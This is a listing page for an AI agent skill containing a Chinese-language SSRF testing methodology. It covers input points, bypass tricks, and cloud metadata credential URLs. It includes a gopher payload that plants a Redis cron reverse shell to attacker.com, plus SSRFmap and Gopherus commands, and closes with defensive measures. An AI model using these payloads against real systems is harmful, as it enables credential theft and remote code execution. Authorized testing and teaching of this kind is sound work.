liuxinye23/qingfenglanyue/ssrf-testing

Claude Code and agent skill by liuxinye23/qingfenglanyue

Trust tier 3
  • community
Source check pending

Checking that the SKILL.md file is still in the repository.

SSRF服务器端请求伪造测试的专业技能和方法论

Install

npx vskill@latest install liuxinye23/qingfenglanyue/ssrf-testing

SKILL.md

The same SKILL.md was published earlier as kolorbee/lnu-secllm/ssrf-testing.

SSRF服务器端请求伪造测试

概述

SSRF（Server-Side Request Forgery）是一种利用服务器发起请求的漏洞，可以访问内网资源、进行端口扫描或绕过防火墙。本技能提供SSRF漏洞的检测、利用和防护方法。

漏洞原理

应用程序接受URL参数并请求该URL，攻击者可以控制请求的目标，导致：

  • 内网资源访问
  • 本地文件读取
  • 端口扫描
  • 绕过防火墙
  • 云服务元数据访问

测试方法

1. 识别SSRF输入点

常见功能：

  • URL预览/截图
  • 文件上传（远程URL）
  • Webhook回调
  • API代理
  • 数据导入
  • 图片处理
  • PDF生成
2. 基础检测

测试本地回环：

http://127.0.0.1
http://localhost
http://0.0.0.0
http://[::1]

测试内网IP：

http://192.168.1.1
http://10.0.0.1
http://172.16.0.1

测试文件协议：

file:///etc/passwd
file:///C:/Windows/System32/drivers/etc/hosts
3. 绕过技术

IP地址编码：

127.0.0.1 → 2130706433 (十进制)
127.0.0.1 → 0x7f000001 (十六进制)
127.0.0.1 → 0177.0.0.1 (八进制)

域名解析绕过：

127.0.0.1.xip.io
127.0.0.1.nip.io
localtest.me

URL重定向：

http://attacker.com/redirect → http://127.0.0.1

协议混淆：

http://127.0.0.1:80@evil.com
http://evil.com#@127.0.0.1

利用技术

内网探测

端口扫描：

bash
# 使用Burp Intruder
http://127.0.0.1:22
http://127.0.0.1:3306
http://127.0.0.1:6379
http://127.0.0.1:8080
http://127.0.0.1:9200

识别服务：

  • 响应时间差异
  • 错误信息
  • HTTP状态码
  • 响应内容
云服务元数据

AWS EC2：

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/

Google Cloud：

http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/

Azure：

http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01

阿里云：

http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/
内网应用攻击

访问管理后台：

http://127.0.0.1:8080/admin
http://192.168.1.100/phpmyadmin

Redis未授权访问：

http://127.0.0.1:6379
# 然后发送Redis命令

FastCGI攻击：

http://127.0.0.1:9000
# 利用FastCGI协议执行命令

高级利用

Gopher协议

发送任意协议数据：

gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0aquit%0d%0a

Redis命令执行：

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
Dict协议

端口扫描和信息收集：

dict://127.0.0.1:6379/info
dict://127.0.0.1:3306/status
文件协议

读取本地文件：

file:///etc/passwd
file:///C:/Windows/System32/drivers/etc/hosts
file:///proc/self/environ

工具使用

SSRFmap
bash
# 基础扫描
python3 ssrfmap.py -r request.txt -p url
 
# 端口扫描
python3 ssrfmap.py -r request.txt -p url -m portscan
 
# 云元数据
python3 ssrfmap.py -r request.txt -p url -m cloud
Gopherus
bash
# 生成Gopher payload
python gopherus.py --exploit redis
Burp Collaborator

检测盲SSRF：

http://burpcollaborator.net
# 观察是否有DNS/HTTP请求

验证和报告

验证步骤
  1. 确认可以控制请求目标
  2. 验证内网资源访问或端口扫描
  3. 评估影响范围（内网渗透、数据泄露等）
  4. 记录完整的POC
报告要点
  • 漏洞位置和输入参数
  • 可访问的内网资源或端口
  • 完整的利用步骤和PoC
  • 修复建议（URL白名单、禁用危险协议等）

防护措施

推荐方案
  1. URL白名单

``python ALLOWED_DOMAINS = ['example.com', 'cdn.example.com'] parsed = urlparse(url) if parsed.netloc not in ALLOWED_DOMAINS: raise ValueError("Domain not allowed") ``

  1. 禁用危险协议
  • 只允许http/https
  • 禁止file://、gopher://、dict://等
  1. IP地址过滤

```python import ipaddress

def is_internal_ip(ip): return ipaddress.ip_address(ip).is_private or \ ipaddress.ip_address(ip).is_loopback ```

  1. 使用DNS解析验证
  • 解析域名获取IP
  • 验证IP是否在内网范围
  1. 网络隔离
  • 限制服务器出网权限
  • 使用代理服务器

注意事项

  • 仅在授权测试环境中进行
  • 避免对内网系统造成影响
  • 注意不同协议的支持情况
  • 测试时注意请求频率，避免触发防护

Security

  • Security scanPassed, 90 of 100Pattern checks on the skill's files.
  • Model reviewPassed

See the full security report

Quality evaluation

  • Task evaluationNot runNo evaluation yet. Run one in Skill Studio.

See evaluation results

Source

Popularity

7-day trend score
0

Not refreshed yet.

Works with

Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.

  • Claude Code
  • Cursor
  • GitHub Copilot
  • Windsurf
  • Codex
  • Gemini CLI
  • Cline
  • Amp
  • Roo Code
  • Goose
  • Continue
  • Kilo Code
  • Junie
  • Trae
  • OpenHands
  • Qwen Code
  • AI Agent
  • Tabnine Chat
  • Sourcegraph Cody
  • Amazon Q
  • Firebase Genkit
  • Sweep
  • Devin
  • Phind
  • Mentat
  • Claude Desktop
  • Aider
  • GPT Pilot
  • Plandex
  • bolt.new
  • v0
  • Replit Agent
  • Anse
  • TypingMind
  • BetterChatGPT
  • LibreChat
  • Warp AI
  • Pieces
  • Fig AI
Embed badge
vskill VERIFIED badge
[![vskill VERIFIED](https://verified-skill.com/api/v1/skills/liuxinye23/qingfenglanyue/ssrf-testing/badge)](https://verified-skill.com/skills/liuxinye23/qingfenglanyue/ssrf-testing)

Something wrong with this skill or its page? Tell us.